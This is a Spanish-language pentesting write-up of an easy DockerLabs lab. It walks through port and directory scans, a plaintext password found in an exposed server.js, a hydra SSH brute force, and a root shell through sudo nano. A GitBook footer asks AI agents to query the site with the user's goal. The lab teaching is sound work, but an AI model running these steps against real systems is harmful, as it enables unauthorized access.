> For the complete documentation index, see [llms.txt](https://mis-apuntes-1.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mis-apuntes-1.gitbook.io/pentesting/dockerlabs/facil/console-log.md).

# Console Log

Dificultad: Fácil

***

IP: `172.17.0.2`

***

### 1. RECONOCIMIENTO

Empezamos con un escaneo de puertos sencillo:

Bash

```
nmap -sCV -p- 172.17.0.2 -oN targeted -Pn
```

Encontramos lo siguiente:

* Puerto 80 abierto
* Puerto 3000/tcp abierto: Encontramos que el http-title da error (posible explotación).
* Puerto 5000/tcp ssh abierto: Vemos que tienen el ssh abierto en el puerto 5000. Lo tendremos en cuenta para ataque de fuerza bruta mas adelante.

***

### 2. ENUMERACIÓN

Escaneamos directorios:

Bash

```
gobuster dir -u http://172.17.0.2:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -t 50
```

Encontramos lo siguiente:

<figure><img src="https://3620341559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiE3IpoEbJxF5BQL5nIOG%2Fuploads%2FJHhXC7rKPFQrSwsxmH7j%2FCaptura%20de%20pantalla%202026-04-17%20105600.png?alt=media&amp;token=c9c8efd4-4fe4-40e8-af6e-3f044fd15859" alt=""><figcaption></figcaption></figure>

* Directorio /backend expuesto (puede haber cosas de interés ahí).
* Directorio /JavaScript abierto (código JavaScript vulnerable).
* authentication.js expuesto.

***

### 3. EXPLOTACIÓN

Accedo a /backend y veo que hay un archivo que se llama server.js. Contiene lo siguiente:

<figure><img src="https://3620341559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiE3IpoEbJxF5BQL5nIOG%2Fuploads%2FXheKNA1iQ819fqdVI19q%2FCaptura%20de%20pantalla%202026-04-17%20110446.png?alt=media&amp;token=321f67ba-b2ae-4774-b389-31581d68a3d0" alt=""><figcaption></figcaption></figure>

Hemos encontrado la contraseña en texto plano

Hago fuerza bruta al usuario con la contraseña encontrada "lapassworddebackupmaschingonadetodas"

Bash

```
hydra -L /usr/share/wordlists/rockyou.txt -p 'lapassworddebackupmaschingonadetodas' -s 5000 ssh://172.17.0.2 -t 10
```

<figure><img src="https://3620341559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiE3IpoEbJxF5BQL5nIOG%2Fuploads%2FlW4mRCIy1INsUcuAu4Vm%2Fimage.png?alt=media&amp;token=7c645ed2-ee16-4253-9f74-5ae28a4d8cec" alt=""><figcaption></figcaption></figure>

Accedo por ssh:

Bash

```
ssh lovely@172.17.0.2 -p 5000
```

***

### 4. ESCALADA DE PRIVILEGIOS

Hago sudo -l para ver los privilegios de sudo:

Bash

```
sudo -l
```

Escalo privilegios:

Bash

```
sudo nano -s /bin/sh
```

***

### 5. POST-EXPLOTACIÓN

Root conseguido:

<figure><img src="https://3620341559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiE3IpoEbJxF5BQL5nIOG%2Fuploads%2Fn3ErGkKJcgQGn5NuFdKy%2Fimage.png?alt=media&amp;token=99248538-55b4-4d63-925e-111e0a8e9564" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://mis-apuntes-1.gitbook.io/pentesting/dockerlabs/facil/console-log.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
